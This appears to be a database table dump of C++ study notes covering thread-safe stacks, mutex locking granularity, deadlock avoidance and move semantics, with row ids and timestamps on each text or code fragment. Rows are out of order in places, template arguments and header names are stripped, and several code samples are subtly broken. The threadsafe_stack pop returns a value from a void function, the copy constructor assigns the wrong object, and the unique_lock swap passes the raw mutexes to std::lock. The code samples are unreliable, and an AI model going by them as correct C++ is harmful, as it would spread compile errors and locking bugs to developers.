1);\n std::thread t2{add_data, 2);\n std::thread t3{add_data, 3); text txt 2024-07-28 10:01:03.989148 0 +1940 449 print_data(); text txt 2024-07-28 10:01:04.009555 0 +1941 449 t1.join();\n t2.join();\n t3.join();\n} code txt 2024-07-28 10:01:04.030384 0 +1942 450 Consider `std::stack>`. Now, a vector is a dynamically sized\ncontainer, so when you copy a vector, the library has to allocate some more\nmemory from the heap in order to copy the contents. If the system is heavily\nloaded or there are significant resource constraints, this memory allocation\ncan fail, so the copy constructor for vector might throw a `std::bad_alloc`\nexception. This is likely if the vector contains a lot of elements. If the\n`pop()` function was defined to return the value popped, as well as remove it\nfrom the stack, you have a potential problem: the value being popped is\nreturned to the caller only after the stack has been modified, but the\nprocess of copying the data to return to the caller might throw an exception.\nIf this happens, the data popped is lost; it has been removed from the stack,\nbut the copy was unsuccessful! text txt 2024-07-28 10:01:04.551768 0 +1943 450 The designers of the `std::stack` interface helpfully split the operation in\ntwo: get the `top()` element and then `pop()` it from the stack, so that if\nyou can’t safely copy the data, it stays on the stack. text txt 2024-07-28 10:01:04.572213 0 +1944 450 Unfortunately, it’s precisely this split that you’re trying to avoid in\neliminating the race condition! text txt 2024-07-28 10:01:04.594562 0 +1945 451 To protect the data we should change the design of the interface. There are\ncommonly two methods to protect data from race condition when returning: text txt 2024-07-28 10:01:06.152747 0 +1946 451 1. Pass in a reference\n2. Return a pointer to the removed item text txt 2024-07-28 10:01:06.172827 0 +1947 451 #include \n#include \n#include \n#include text txt 2024-07-28 10:01:06.192473 0 +1948 451 struct empty_stack : std::exception\n{\n char const* what() const noexcept;\n}; text txt 2024-07-28 10:01:06.213254 0 +1949 451 template\nclass threadsafe_stack\n{\nprivate:\n mutable std::mutex exclusive_lock;\n std::stack data; text txt 2024-07-28 10:01:06.234983 0 +1950 451 public:\n threadsafe_stack() { } text txt 2024-07-28 10:01:06.255606 0 +1951 451 threadsafe_stack(threadsafe_stack const& other)\n {\n std::lock_guard guard(other.exclusive_lock);\n data = other;\n } text txt 2024-07-28 10:01:06.276646 0 +1952 451 threadsafe_stack& operator=(threadsafe_stack const&) = delete; text txt 2024-07-28 10:01:06.29775 0 +1953 451 void push(T value)\n {\n std::lock_guard guard(exclusive_lock);\n data.push(value);\n } text txt 2024-07-28 10:01:06.317783 0 +1954 451 std::shared_ptr pop()\n {\n std::lock_guard guard(exclusive_lock);\n if (data.empty()) throw empty_stack{};\n std::shared_ptr const value = std::make_shared(data.top());\n data.pop();\n return value;\n } text txt 2024-07-28 10:01:06.337669 0 +1955 451 void pop(T& value)\n {\n std::lock_guard guard(exclusive_lock);\n if (data.empty()) throw empty_stack{};\n value = data.pop();\n return value;\n } text txt 2024-07-28 10:01:06.360987 0 +1956 451 bool empty() const\n {\n std::lock_guard guard(exclusive_lock);\n return data.empty();\n }\n}; code txt 2024-07-28 10:01:06.382445 0 +1957 452 As the discussion of `top()` and `pop()` shows, problematic race conditions\nin interfaces arise because of locking at too small a granularity; the\nprotection doesn’t cover the entirety of the desired operation. Problems with\nmutexes can also arise from locking at too large a granularity; the extreme\nsituation is a single global mutex that protects all shared data. In a system\nwhere there’s a significant amount of shared data, this can eliminate any\nperformance benefits of concurrency, because the threads are forced to run\none at a time, even when they’re accessing different bits of data. The first\nversions of the Linux kernel that were designed to handle multi-processor\nsystems used a single global kernel lock. Although this worked, it meant that\na two-processor system typically had much worse performance than two\nsingle-processor systems, and performance on a four-processor system was\nnowhere near that of four single-processor systems. There was too much\ncontention for the kernel, so the threads running on the additional\nprocessors were unable to perform useful work. Later revisions of the Linux\nkernel have moved to a more fine-grained locking scheme, so the performance\nof a four-processor system is much nearer the ideal of four times that of a\nsingle-processor system, because there’s far less contention. text txt 2024-07-28 10:01:06.927558 0 +1958 453 One issue with fine-grained locking schemes is that sometimes you need more\nthan one mutex locked in order to protect all the data in an operation. such\nas when the mutexes are protecting separate instances of a class. text txt 2024-07-28 10:01:07.194294 0 +1959 453 If you end up having to lock two or more mutexes for a given operation,\nthere’s another potential problem lurking in the wings, **deadlock**. text txt 2024-07-28 10:01:07.215746 0 +1960 454 The common advice for avoiding deadlock is to always lock the two mutexes in\nthe same order: if you always lock mutex A before mutex B, then you’ll never\ndeadlock. Sometimes this is straightforward, because the mutexes are serving\ndifferent purposes, but other times it’s not so simple, such as when the\nmutexes are each protecting a separate instance of the same class. text txt 2024-07-28 10:01:08.528742 0 +1961 454 Thankfully, the C++ Standard Library has a cure for this in the form of\n`std::lock`, a function that can lock two or more mutexes at once without\nrisk of deadlock. text txt 2024-07-28 10:01:08.550637 0 +1962 454 class some_big_object; text txt 2024-07-28 10:01:08.571153 0 +1963 454 void swap(some_big_object& lhs, some_big_object& rhs); text txt 2024-07-28 10:01:08.591533 0 +1964 454 class heavy_work\n{\nprivate:\n some_big_object data;\n std::mutex exclusive_lock; text txt 2024-07-28 10:01:08.612494 0 +1965 454 public:\n heavy_work(some_big_object const& sd):data(sd) { } text txt 2024-07-28 10:01:08.634621 0 +2086 483 In some cases, move operations take significant time. For example, if we have\na class with a string and a vector of values, taking by value and move is\nusually the right approach. However, if we have a `std::array` member, moving\nit will take significant time even if the members are moved. text txt 2024-07-28 10:01:28.223942 0 +1966 454 friend void swap(heavy_work& lhs, heavy_work& rhs)\n {\n if(&lhs==&rhs)\n return;\n std::lock(lhs.exclusive_lock, rhs.exclusive_lock); // locks the two mutexes\n std::lock_guard lock_a(lhs.exclusive_lock, std::adopt_lock);\n std::lock_guard lock_b(rhs.exclusive_lock, std::adopt_lock);\n swap(lhs.data,rhs.data);\n }\n}; code txt 2024-07-28 10:01:08.656259 0 +1967 454 C++17 provides additional support for this scenario, in the form of a new\nRAII template, `std::scoped_lock<>`. This is exactly equivalent to\n`std::lock_guard<>`, except that it is a variadic template, accepting a list\nof mutex types as template parameters, and a list of mutexes as constructor\narguments. The mutexes supplied to the constructor are locked using the same\nalgorithm as std::lock, so that when the constructor completes they are all\nlocked, and they are then all unlocked in the destructor. text txt 2024-07-28 10:01:08.678241 0 +1968 454 void swap(heavy_work& lhs, heavy_work& rhs)\n{\n if(&lhs == &rhs)\n return;\n std::scoped_lock guard(lhs.exclusive_lock, rhs.exclusive_lock);\n swap(lhs.some_detail, rhs.some_detail);\n} code txt 2024-07-28 10:01:08.700222 0 +1969 454 The `std::adopt_lock` parameter is supplied in addition to the mutex to\nindicate to the `std::lock_guard` objects that the mutexes are already\nlocked, and they should adopt the ownership of the existing lock on the mutex\nrather than attempt to lock the mutex in the constructor. text txt 2024-07-28 10:01:08.721253 0 +1970 455 It’s worth noting that locking any of the mutexes inside the call to\n`std::lock` can throw an exception; in this case, the exception is propagated\nout of `std::lock`. If `std::lock` has successfully acquired a lock on one\nmutex and an exception is thrown when it tries to acquire a lock on the other\nmutex, this first lock is released automatically. `std::lock` provides\nall-or-nothing semantics with regard to locking the supplied mutexes. text txt 2024-07-28 10:01:09.142334 0 +1971 455 C++17 provides additional support for this scenario, in the form of a new\nRAII template, `std::scoped_lock<>`. This is exactly equivalent to\n`std::lock_guard<>`, except that it is a variadic template, accepting a list\nof mutex types as template parameters, and a list of mutexes as constructor\narguments. The mutexes supplied to the constructor are locked using the same\nalgorithm as std::lock, so that when the constructor completes they are all\nlocked, and they are then all unlocked in the destructor. text txt 2024-07-28 10:01:09.164075 0 +1972 456 `std::unique_lock` provides a bit more flexibility than `std::lock_guard` by\nrelaxing the invariants; an `std::unique_lock` instance doesn't always own\nthe mutex that it's associated with. First off, as you can pass\n`std::adopt_lock` as a second argument to the constructor to have the lock\nobject manage the lock on a mutex, you can also pass `std::defer_lock` as the\nsecond argument to indicate that the mutex should remain unlocked on\nconstruction. The lock can then be acquired later by `std::lock()` on the\n`std::unique_lock` object or by passing `std::unique_lock` object to\n`std::lock()`. text txt 2024-07-28 10:01:10.079399 0 +1973 456 class some_big_object; text txt 2024-07-28 10:01:10.100901 0 +1974 456 void swap(some_big_object& lhs, some_big_object& rhs); text txt 2024-07-28 10:01:10.122185 0 +1975 456 class heavy_work\n{\nprivate:\n some_big_object data;\n std::mutex exclusive_lock; text txt 2024-07-28 10:01:10.143284 0 +1976 456 public:\n heavy_work(some_big_object const& sd):data(sd) { } text txt 2024-07-28 10:01:10.164734 0 +1977 456 friend void swap(heavy_work& lhs, heavy_work& rhs)\n {\n if(&lhs==&rhs)\n return;\n std::unique_lock lock_a(lhs.exclusive_lock, std::defer_lock);\n std::unique_lock lock_b(rhs.exclusive_lock, std::defer_lock);\n std::lock(lhs.exclusive_lock, rhs.exclusive_lock); // locks the two mutexes\n swap(lhs.data,rhs.data);\n }\n}; code txt 2024-07-28 10:01:10.186449 0 +1978 457 #include \n#include text txt 2024-07-28 10:01:10.954659 0 +1979 457 std::vector f()\n{\n std::vector cells; // default constructed vector without allocations\n cells.reserve(3); // allocate 3 elements of std::string\n std::string s{"data"}; // default constructed std::string\n cells.push_back(s); // 1st vector element copy constructed\n cells.push_back(s+s); // default construction of temporary object; move construction of 2nd vector element\n cells.push_back(std::move(s)); // move constructed 3rd vector element; empty out s object\n return cells; // optimize out vector as return value\n} text txt 2024-07-28 10:01:10.976727 0 +1980 457 int main()\n{\n std::vector v;\n v = f(); // move assigned constructed vector by return value\n} code txt 2024-07-28 10:01:10.997597 0 +1981 458 #include text txt 2024-07-28 10:01:12.085403 0 +1982 458 class bag\n{\nprivate:\n unsigned int _count;\n int* _storage; text txt 2024-07-28 10:01:12.107519 0 +1983 458 public:\n bag(int const& number): _count{0}, _storage{nullptr}\n {\n _count++;\n _storage = new int{number};\n } text txt 2024-07-28 10:01:12.127982 0 +1984 458 virtual ~bag()\n {\n if (_count)\n delete _storage;\n } text txt 2024-07-28 10:01:12.148342 0 +1985 458 bag(bag const& other): _count{other._count}\n {\n _storage = new int{*other._storage};\n } text txt 2024-07-28 10:01:12.169418 0 +1986 458 bag(bag&& other): _count{other._count}, _storage{other._storage}\n {\n other._count = 0;\n other._storage = nullptr;\n }\n}; text txt 2024-07-28 10:01:12.190919 0 +1987 458 int main()\n{\n bag a{1};\n bag b{std::move(a)};\n} code txt 2024-07-28 10:01:12.212572 0 +1988 459 The rule is that for a temporary object or an object marked with\n`std::move()`, if available, a function declaring parameters as an rvalue\nreference is preferred. However, if no such function exists, the usual copy\nsemantics is used as a fallback. text txt 2024-07-28 10:01:12.489004 0 +1989 460 The objects declared with const cannot be moved because any optimizing\nimplementation requires that the passed argument can be modified. text txt 2024-07-28 10:01:12.889704 0 +1990 460 std::vector coll;\nconst std::string s{"data"}; text txt 2024-07-28 10:01:12.910317 0 +1991 460 coll.push_back(std::move(s)); // OK, calls push_back(const std::string &) code txt 2024-07-28 10:01:12.931543 0 +1992 461 Declaring the return value as a whole to be `const` disables move semantics\nand it also disables **return value optimization**. `const` should be used to\ndeclare parts of return type instead, such as the object a returned reference\nor poionter refers to. text txt 2024-07-28 10:01:13.302306 0 +1993 461 const std::string getValues(); // BAD: disables move semantics for return value\nconst std::string& getRef(); // OK\nconst std::string* getPtr(); // OK code txt 2024-07-28 10:01:13.322295 0 +1994 462 The implementer has to ensure that the passed argument is in a valid state\nafter the call. text txt 2024-07-28 10:01:13.531717 0 +1995 463 - When the value of a temporary object is passed that will automatically be\n destroyed after the statement.\n- When a non-`const` object marked with `std::move()`. text txt 2024-07-28 10:01:13.764549 0 +1996 464 `std::move()` is defined a a function in C++ standard library ``. No\nstandard header is required t include `utility` header file. Therefore, when\nusing `std::move()`, you should explicitly include `` to make your\nprogram portable. text txt 2024-07-28 10:01:14.032835 0 +1999 466 According to the semantics of rvalue references, the caller claims that it is\n*no longer interested in the value*. Therefore, you can modify the object the\nparameter refers to. However, the caller might still be interested in using\nthe object. Therefore, any modification should keep the referenced object in\na valid state. text txt 2024-07-28 10:01:14.796885 0 +2000 466 void foo(std::string&& rv);\nstd::string s{"data"}; text txt 2024-07-28 10:01:14.81818 0 +2001 466 foo(s); // ERROR\nfoo(std::move(s)); // OK\nfoo(returnStringByValue()); // OK code txt 2024-07-28 10:01:14.839116 0 +2002 467 Moved-from objects are still valid objects for which at least the destructor\nwill be called. However, they should also be valid in the sense that they\nhave a consisten state and all operations work as expected. The only thing\nyou do not know is their value. text txt 2024-07-28 10:01:15.350453 0 +2003 467 std::string s{"data"}; text txt 2024-07-28 10:01:15.371983 0 +2004 467 foo(std::move(s)); text txt 2024-07-28 10:01:15.392917 0 +2005 467 std::cout << s << '\\\\n'; // OK (don't know which value is written)\nstd::cout << s.size() << '\\\\n'; // OK (writes current number of characters)\nstd::cout << s[0] << '\\\\n'; // ERROR (potentially undefined behavior)\nstd::cout << s.front() << '\\\\n'; // ERROR (potentially undefined behavior)\ns = "new value"; // OK code txt 2024-07-28 10:01:15.413797 0 +2006 468 **const lvalue reference** text txt 2024-07-28 10:01:16.652405 0 +2007 468 The function has only read access to the passed argument. text txt 2024-07-28 10:01:16.673201 0 +2008 468 void foo(const std::string& arg); code txt 2024-07-28 10:01:16.69337 0 +2009 468 You can pass everything to a function declared that way if the type fits: text txt 2024-07-28 10:01:16.713732 0 +2010 468 - A modifiable named object\n- A `const` named object\n- A temporary object that does not have a name\n- A non-`const` object marked with `std::move()` text txt 2024-07-28 10:01:16.734438 0 +2011 468 **non-const lvalue reference** text txt 2024-07-28 10:01:16.754304 0 +2012 468 The function has write access to the passed argument. You can no longer pass\neverything to a function declared that way even if the type fits. text txt 2024-07-28 10:01:16.77531 0 +2013 468 void foo(std::string& arg); code txt 2024-07-28 10:01:16.796033 0 +2014 468 You can pass: text txt 2024-07-28 10:01:16.817003 0 +2015 468 - A modifiable object text txt 2024-07-28 10:01:16.836319 0 +2016 468 **non-const rvalue reference** text txt 2024-07-28 10:01:16.857131 0 +2017 468 void foo(std::string&& arg); code txt 2024-07-28 10:01:16.877119 0 +2018 468 The function has write access to the passed argument.\nHowever, you have restrictions on what you can pass: text txt 2024-07-28 10:01:16.897258 0 +2019 468 - A temporary object that does not have a name\n- A non-`const` object marked with `std::move()` text txt 2024-07-28 10:01:16.917382 0 +2020 468 The semantic meaning is that we give `foo()` write access to the passed\nargument to steal the value. text txt 2024-07-28 10:01:16.938493 0 +2021 468 **const rvalue reference** text txt 2024-07-28 10:01:16.959413 0 +2022 468 void foo(const std::string&& arg); code txt 2024-07-28 10:01:16.980499 0 +2023 468 This also means that you have read access to the passed argument.\nYou can only pass: text txt 2024-07-28 10:01:17.000502 0 +2024 468 - A temporary object that does not have name\n- A `const` or non-`const` object marked with `std::move()` text txt 2024-07-28 10:01:17.020885 0 +2025 468 However, there is no useful semantic meaning of this case. text txt 2024-07-28 10:01:17.041202 0 +2026 469 With move semantics call-by-value can become cheap if a temporary object is\npassed or the passed argument is marked with `std::move()`. Retuurning a\nlocal object by value can be optimized away. However, if it is not optimized\naway, the call is guaranteed to be cheap now. text txt 2024-07-28 10:01:17.6854 0 +2027 469 void fooByVal(std::string str);\nvoid fooByRRef(std::string&& str);; text txt 2024-07-28 10:01:17.705612 0 +2028 469 std::string s1{"data"}, s2{"data"}; text txt 2024-07-28 10:01:17.725543 0 +2029 469 fooByVal(std::move(s1)); // s1 is moved\nfooByRRef(std::move(s2)); // s2 might be moved code txt 2024-07-28 10:01:17.746273 0 +2030 469 The function taking the string by value will use move semantics because a new\nstring is created with the value of passed argument. The function taking the\nstring by rvalue reference might use move semantics. Passing the argument\ndoes not create a new string. Wether the value of the passed argument is\nstolen/modified depends on the implementation of the function. text txt 2024-07-28 10:01:17.768604 0 +2031 469 Move semantics does not guarantee that any optimization happens at all or\nwhat the effect of any optimization is. All we know is that the passed object\nis subsequently in a valid but unspecified state. text txt 2024-07-28 10:01:17.788994 0 +2032 470 If classes have changed the usual behavior of copying or assignment, they\nprobably also have to do some things different when optimizing these\noperations. Any form of an explicit declaration of a copy constructor, copy\nassignment operator, or destructor disables move semantics, even if\ndeclarations are marked with `=default`. text txt 2024-07-28 10:01:18.117086 0 +2033 471 The copy constructor is automatically generated when all of the following\nconditions are met: text txt 2024-07-28 10:01:18.429912 0 +2034 471 * No move constructor is user-declared\n* No move assignment operator is user-declared text txt 2024-07-28 10:01:18.450051 0 +2035 472 The move constructor is automatically generated when all of the following\nconditions are met: text txt 2024-07-28 10:01:18.781844 0 +2036 472 * No copy constructor is user-declared\n* No copy assignment operator is user-declared\n* No another move operation is user-declared\n* No destructor is user-declared text txt 2024-07-28 10:01:18.803647 0 +2037 473 Declaring destructors in anyway disables the automatic generation of move\noperations. text txt 2024-07-28 10:01:19.052618 0 +2038 474 Move constructor is called when the caller no longer needs the value. Inside\nthe move constructor, we hdecide where an how long we need it. In particular,\nwe might need the value multiple times and not lose it with its first use. text txt 2024-07-28 10:01:19.575539 0 +2039 474 void insertTwice(std::vector& coll, std::string&& str)\n{\n coll.push_back(str); // copy str into coll\n coll.push_back(std::move(str)); // move str into coll\n} code txt 2024-07-28 10:01:19.596294 0 +2040 474 The important lesson to learn here is that a parameter being declared as an\nrvalue reference restricts what we can pass to this function but behaves just\nlike any other non-`const` object of this type. text txt 2024-07-28 10:01:19.617023 0 +2041 475 By default, both copying and moving special member functions are generated\nfor class. text txt 2024-07-28 10:01:20.079501 0 +2042 475 class Person\n{\n ...\npublic:\n ...\n // NO copy constructor/assignment declared\n // NO move constructor/assignment declared\n // NO destructor declared\n}; code txt 2024-07-28 10:01:20.101016 0 +2043 476 Generated move operations might introduce problems even though the generated\ncopy operations work correctly. In particular, you have to be careful in the\nfollowing situations: text txt 2024-07-28 10:01:20.409838 0 +2044 476 - Values of members have restrictions\n- Values of members depend on each other\n- Member with reference semantics are used (pointers, smart pointers, ...)\n- Objects have no default constructed state text txt 2024-07-28 10:01:20.431904 0 +2045 477 All types in C++ standard library receive a valid but unspecified state when\nobjects are moved to themselves. This means that by default, you might lose\nthe values of your members and you might even have a more severe problem if\nyour type does not work properly with members that have arbitrary values. text txt 2024-07-28 10:01:20.990738 0 +2046 477 The traditional/naive way to protect against self-assignments is to check\nwether both operands are identical. You can also do this when implementing\nthe move assignment operator. text txt 2024-07-28 10:01:21.011268 0 +2047 477 Customer& operator=(Customer&& other) noexcept\n{\n if (this != &other)\n {\n name = std::move(other.name);\n values = std::move(other.values);\n }\n return *this;\n} code txt 2024-07-28 10:01:21.032671 0 +2048 478 if you declare the move constructor as deleted, you cannot move (you have\ndisabled this operation; any fallback is not used) and cannot copy (because a\ndeclared move constructor disables copy operations). text txt 2024-07-28 10:01:22.156358 0 +2049 478 class Person\n{\npublic:\n ...\n // NO copy constructor declared text txt 2024-07-28 10:01:22.177003 0 +2050 478 // move constructor/assignment declared as deleted:\n Person(Person&&) = delete;\n Person& operator=(Person&&) = delete;\n ...\n}; text txt 2024-07-28 10:01:22.198783 0 +2051 478 Person p{"Tina", "Fox"};\ncoll.push_back(p); // ERROR: copying disabled\ncoll.push_back(std::move(p)); // ERROR: moving disabled code txt 2024-07-28 10:01:22.219934 0 +2052 478 You get the same effect by declaring copying special member functions as\ndeleted and that is probably less confusing for other programmers. text txt 2024-07-28 10:01:22.240864 0 +2053 478 Deleting the move operations and enabling the copy operations really makes no sense:\nclass Person\n{\npublic:\n ...\n // copy constructor explicitly declared:\n Person(const Person& p) = default;\n Person& operator=(const Person&) = default; text txt 2024-07-28 10:01:22.261948 0 +2054 478 // move constructor/assignment declared as deleted:\n Person(Person&&) = delete;\n Person& operator=(Person&&) = delete;\n ...\n}; text txt 2024-07-28 10:01:22.283332 0 +2055 478 Person p{"Tina", "Fox"};\ncoll.push_back(p); // OK: copying enabled\ncoll.push_back(std::move(p)); // ERROR: moving disabled code txt 2024-07-28 10:01:22.304403 0 +2056 478 In this case, `=delete` disables the fallback mechanism. text txt 2024-07-28 10:01:22.324635 0 +2057 479 Declaring the special move member functions as deleted is usually not the\nright way to do it because it disables the fallback mechanism. The right way\nto disable move semantics while providing copy semantics is to declare one of\nthe other special member functions (copy constructor, assignment operator, or\ndestructor). I recommend that you default the copy constructor and the\nassignment operator (declaring one of them would be enough but might cause\nunnecessary confusion): text txt 2024-07-28 10:01:22.890499 0 +2058 479 class Customer\n{\n ...\npublic:\n ...\n Customer(const Customer&) = default; // disable move semantics\n Customer& operator=(const Customer&) = default; // disable move semantics\n}; code txt 2024-07-28 10:01:22.910772 0 +2059 480 If move semantics is unavailable or has been deleted for a type, this has no\ninfluence on the generation of move semantics for classes that have members\nof this type. text txt 2024-07-28 10:01:23.699199 0 +2060 480 class Customer\n{\n ...\npublic:\n ...\n Customer(const Customer&) = default;\n // copying calls enabled\n Customer& operator=(const Customer&) = default; // copying calls enabled\n Customer(Customer&&) = delete;\n // moving calls disabled\n Customer& operator=(Customer&&) = delete;\n // moving calls disabled\n}; text txt 2024-07-28 10:01:23.72155 0 +2061 480 class Invoice\n{\n std::string id;\n Customer cust;\npublic:\n ... // no special member functions\n}; text txt 2024-07-28 10:01:23.74197 0 +2062 480 Invoice i;\nInvoice i1{std::move(i)}; // OK, moves id, copies cust code txt 2024-07-28 10:01:23.763298 0 +2063 481 The guideline is to either declare all five (copy constructor, move\nconstructor, copy assignment operator, move assignment operator, and\ndestructor) or none of them. Declaration means either to implement, set as\ndefault, or set as deleted. text txt 2024-07-28 10:01:24.051483 0 +2064 482 Returning a local object by value automatically uses move semantics if\nsupported. On the other hand, `std::move` is just a `static_cast` to an\nrvalue reference, therefore disables **return value optimization**, which\nusually allows the returned object to be used as a return value instead. text txt 2024-07-28 10:01:24.505502 0 +2065 482 std::string foo()\n{\n std::string s;\n return std::move(s); // BAD, returns std::string&&\n} code txt 2024-07-28 10:01:24.526784 0 +2066 483 Constructing an object only by const lvalue references will allocate four\nmemory spaces which two of them are unnecessary. Also move operation does not\nwork here because parameters are const. text txt 2024-07-28 10:01:27.805884 0 +2067 483 When passing string literals to const lvalue references, compiler creates two\ntemporary objects of `std::string`, which then will be used to initialize\nmembers while this also makes two copies. text txt 2024-07-28 10:01:27.826892 0 +2068 483 #include text txt 2024-07-28 10:01:27.84808 0 +2069 483 class box\n{\nprivate:\n std::string first;\n std::string last; text txt 2024-07-28 10:01:27.869482 0 +2070 483 public:\n box(std::string const& f, std::string const& l): first{f}, last{l} {}\n // f, l allocated\n // first, last also allocated\n}; text txt 2024-07-28 10:01:27.890683 0 +2071 483 box b{"First", "Last"}; code txt 2024-07-28 10:01:27.910585 0 +2072 483 With constructors that take each argument by value and moving them into\nmembers, we avoid redundant memory allocations. This is especially true when\nwe are taking values in constructor initialization list. text txt 2024-07-28 10:01:27.932299 0 +2073 483 #include text txt 2024-07-28 10:01:27.952301 0 +2074 483 class box\n{\nprivate:\n std::string first;\n std::string last; text txt 2024-07-28 10:01:27.972438 0 +2075 483 public:\n box(std::string f, std::string l): first{std::move(f)}, last{std::move(l)} {}\n}; code txt 2024-07-28 10:01:27.992694 0 +2076 483 Another good example to pass by value and move is methods taking objects to\nadd to a data structure: text txt 2024-07-28 10:01:28.014412 0 +2077 483 #include \n#include text txt 2024-07-28 10:01:28.036084 0 +2078 483 class box\n{\nprivate:\n std::string first;\n std::vector values; text txt 2024-07-28 10:01:28.056766 0 +2079 483 public:\n box(std::string f, std::vector v): first{std::move(f)}, values{std::move(v)} {}\n insert(std::string n) { values.push_back(std::move(n)); }\n}; code txt 2024-07-28 10:01:28.078801 0 +2080 483 It is also possible to use rvalue parameters and move options: text txt 2024-07-28 10:01:28.099182 0 +2081 483 #include text txt 2024-07-28 10:01:28.119104 0 +2082 483 class box\n{\nprivate:\n std::string first;\n std::string last; text txt 2024-07-28 10:01:28.139681 0 +2083 483 public:\n box(std::string&& f, std::string&& l): first{std::move(f)}, last{std::move(l)} {}\n}; code txt 2024-07-28 10:01:28.161165 0 +2084 483 But this solely prevents objects with names. So we should implement two\noverloads that pass by values and move: text txt 2024-07-28 10:01:28.182259 0 +2085 483 Overloading both for rvalue and lvalue references lead to many different\ncombinations of parameters. text txt 2024-07-28 10:01:28.202774 0 +3915 959 su -l $USER code txt 2024-07-28 10:06:08.566653 0 +2089 483 public:\n box(std::string f, std::array& v): first{std::move(f)}, values{v} {}\n box(std::string f, std::array&& v): first{std::move(f)}, values{std::move(v)} {}\n}; code txt 2024-07-28 10:01:28.289457 0 +2090 483 Often, pass by value is useful when we *create and initialize* a new value.\nBut if we already have a value, which we update or modify, using this\napproach would be counterproductive. A simple example would be setters: text txt 2024-07-28 10:01:28.312004 0 +2091 483 #include text txt 2024-07-28 10:01:28.331773 0 +2092 483 class box\n{\nprivate:\n std::string first; text txt 2024-07-28 10:01:28.351814 0 +2093 483 public:\n box(std::string f): first{std::move(f)} {}\n void set_first(std::string f) { first = f; }\n}; text txt 2024-07-28 10:01:28.372286 0 +2094 483 box b{"Sample"};\nb.set_first("Another Sample");\nb.set_first("Another Sample");\nb.set_first("Another Sample");\nb.set_first("Another Sample"); code txt 2024-07-28 10:01:28.393921 0 +2095 483 Each time we set a new firstname we create a new temporary parameter `s`\nwhich allocates its own memory. But by implementing in the traditional way\ntaking a const lvalue reference we avoid allocations: text txt 2024-07-28 10:01:28.414127 0 +2096 483 #include text txt 2024-07-28 10:01:28.434448 0 +2097 483 class box\n{\nprivate:\n std::string first; text txt 2024-07-28 10:01:28.455611 0 +2098 483 public:\n box(std::string f): first{std::move(f)} {}\n void set_first(std::string const& f) { first = f; }\n}; code txt 2024-07-28 10:01:28.476365 0 +2099 483 Even with move semantics, the best approach for setting existing values is to\ntake the new values by const lvalue reference and assign without using move\noperation. text txt 2024-07-28 10:01:28.497702 0 +2100 483 Taking a parameter by value and moving it to where the new value is needed is\nonly useful when we store the passed value somewhere as a new value where we\nneed new memory allocation anyway. When modifying an existing value, this\npolicy might be counterproductive. text txt 2024-07-28 10:01:28.519327 0 +2101 484 Usually, in polymorphic derived classes there is no need to declare special\nmember functions, especially virtual destructor. text txt 2024-07-28 10:01:29.059663 0 +2102 484 class Base\n{\npublic:\n virtual void do_something() const = 0;\n virtual ~Base() = default;\n}; text txt 2024-07-28 10:01:29.080985 0 +2103 484 class Derived: public Base\n{\npublic:\n virtual void do_something() const override;\n virtual ~Derived() = default; // BAD, redundant, disables move\n}; code txt 2024-07-28 10:01:29.101739 0 +2104 485 - Constructors that initialize members from parameters, for which move\n operations are cheap, should take the argument by value and move it to the\n member.\n- Constructors that initialize members from parameters, for which move\n operations take a significant amount of time, should be overloaded for move\n semantics for best performance.\n- In general, creating and initializing new values from parameters, for which\n move operations are cheap, should take the arguments by value and move.\n However, do not take by value and move to update/modify existing values. text txt 2024-07-28 10:01:29.441986 0 +2105 486 A getter returning by value is safe but each time we call it we might make a\ncopy: text txt 2024-07-28 10:01:31.040436 0 +2106 486 class Recipients\n{\nprivate:\n std::vector _names;\npublic:\n std::vector names() const {\n return _names;\n }\n}; code txt 2024-07-28 10:01:31.061612 0 +2107 486 A getter returning by reference is fast but unsafe because the caller has to\nensure that the object the returned reference refers to lives long enough. text txt 2024-07-28 10:01:31.082189 0 +2108 486 class Recipients\n{\nprivate:\n std::vector _names;\npublic:\n std::vector const& names() const {\n return _names;\n }\n}; code txt 2024-07-28 10:01:31.102899 0 +2109 486 This will fail when object is an rvalue reference: text txt 2024-07-28 10:01:31.123996 0 +2110 486 for (std::string name: returnRecipients().names()) // undefined behavior\n{\n if (name == "manager")\n ...\n}; code txt 2024-07-28 10:01:31.143974 0 +2111 486 Using move semantics we can return by reference if it is safe to do so, and\nreturn by value if we might run into lifetime issues: text txt 2024-07-28 10:01:31.163919 0 +2112 486 class Recipients\n{\nprivate:\n std::vector _names;\npublic:\n std::vector names() && { // where we no longer need the value\n return std::move(_names); // we steal and return by value\n }\n std::vector const& names() const& { // in all other cases\n return _names; // we give access to the member\n }\n}; code txt 2024-07-28 10:01:31.185151 0 +2113 486 We overload the getter with different reference qualifiers in the same way as\nwhen overloading a function for `&&` and `const&` parameters. text txt 2024-07-28 10:01:31.205435 0 +2114 486 The version with the `&&` qualifier is used when we have an object where we\nno longer need the value, an object that is about to die or that we have\nmarked with `std::move()`. text txt 2024-07-28 10:01:31.225474 0 +2115 486 The version with `const&` qualifier is used in all other cases. It is only\nthe fallback if we cannot take the `&&` version. Thus this function is used\nif we have an object that is not about to die or marked with `std::move()`. text txt 2024-07-28 10:01:31.246114 0 +2116 486 We now have both good performance and safety. text txt 2024-07-28 10:01:31.266442 0 +2117 487 Since C++98 we can overload member functions for implementing a const and\nnon-const version. text txt 2024-07-28 10:01:32.29011 0 +2118 487 class C\n{\npublic:\n void foo();\n void foo() const;\n}; code txt 2024-07-28 10:01:32.310657 0 +2119 487 Now with move semantics we have new ways to overload functions with\nqualifiers because we have different reference qualifiers. text txt 2024-07-28 10:01:32.331505 0 +2120 487 class C\n{\npublic:\n void foo() const&;\n void foo() &&;\n void foo() &;\n void foo() const&&;\n}; text txt 2024-07-28 10:01:32.352793 0 +2121 487 int main()\n{\n C x;\n x.foo(); // foo() &\n C{}.foo(); // foo() &&\n std::move(x).foo(); // foo() && text txt 2024-07-28 10:01:32.373979 0 +2122 487 const C cx;\n cx.foo(); // foo() const&\n std::move(cx).foo(); // foo() const&&\n} code txt 2024-07-28 10:01:32.395408 0 +2123 487 Usually, we have only two or three of these overloads, such as using `&&` and\n`const&` (and `&`) for getters. text txt 2024-07-28 10:01:32.416532 0 +2124 488 Overloading for both reference and value qualifiers is not allowed. text txt 2024-07-28 10:01:32.828584 0 +2125 488 class C\n{\npublic:\n void foo() &&;\n void foo() const; // ERROR\n}; code txt 2024-07-28 10:01:32.849025 0 +2126 489 Reference qualifiers allow us to implement functions differently when they\nare called for objects of a specific value category. text txt 2024-07-28 10:01:33.16764 0 +2127 489 Although we do have this feature, it is not used as much as it could be. In\nparticular, we should use it to ensure that operations that modify objects\nare not called for temporary objects that are about to die. text txt 2024-07-28 10:01:33.188953 0 +2128 490 The assignment operators for strings 